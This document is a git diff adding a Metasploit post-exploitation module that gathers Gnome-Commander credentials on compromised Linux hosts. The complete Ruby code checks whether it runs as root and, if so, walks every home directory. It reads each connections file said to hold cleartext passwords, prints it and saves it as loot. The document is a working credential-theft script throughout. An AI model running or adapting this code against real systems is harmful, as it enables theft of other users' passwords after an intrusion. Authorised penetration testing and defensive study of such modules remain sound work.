|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class Metasploit3 < Msf::Post |
| 7 | + |
| 8 | + include Msf::Post::File |
| 9 | + |
| 10 | + def initialize(info={}) |
| 11 | + super( update_info( info, |
| 12 | + 'Name' => 'Linux Gather Gnome-Commander Creds', |
| 13 | + 'Description' => %q{ |
| 14 | + Gnome-commander stores clear text passwords in ~/.gnome-commander/connections file. |
| 15 | + }, |
| 16 | + 'License' => MSF_LICENSE, |
| 17 | + 'Author' => [ 'David Bloom' ], # Twitter: @philophobia78 |
| 18 | + 'Platform' => %w{ linux }, |
| 19 | + 'SessionTypes' => [ 'meterpreter', 'shell'] |
| 20 | + )) |
| 21 | + end |
| 22 | + |
| 23 | + def run |
| 24 | + user_dirs = [] |
| 25 | + # Search current user |
| 26 | + user = cmd_exec("whoami").chomp |
| 27 | + # User is root |
| 28 | + if user == 'root' |
| 29 | + print_status("Current user is #{user}, probing all home dirs") |
| 30 | + user_dirs << '/root' |
| 31 | + # Search home dirs |
| 32 | + cmd_exec('ls /home').each_line.map { |l| user_dirs << "/home/#{l}".chomp } |
| 33 | + else |
| 34 | + # Non root user |
| 35 | + print_status("Current user is #{user}, probing /home/#{user}") |
| 36 | + user_dirs << "/home/#{user}" |
| 37 | + end |
| 38 | + # Try to find connections file in users homes |
| 39 | + user_dirs.each do |dir| |
| 40 | + # gnome-commander connections file |
| 41 | + connections_file = "#{dir}/.gnome-commander/connections" |
| 42 | + if file?(connections_file) |
| 43 | + #File exists |
| 44 | + begin |
| 45 | + str_file=read_file(connections_file) |
| 46 | + print_good("File found: #{connections_file}") |
| 47 | + vprint_line(str_file) |
| 48 | + #Store file |
| 49 | + p = store_loot("connections", "text/plain", session, str_file, connections_file, "Gnome-Commander connections") |
| 50 | + print_good ("Connections file saved to #{p}") |
| 51 | + rescue EOFError |
| 52 | + # If there's nothing in the file, we hit EOFError |
| 53 | + print_error("Nothing read from file: #{connections_file}, file may be empty") |
| 54 | + end |
| 55 | + else |
| 56 | + # File not found |
| 57 | + vprint_error("File not found: #{connections_file}") |
| 58 | + end |
| 59 | + end |
| 60 | + end |
| 61 | + |
| 62 | +end |
0 commit comments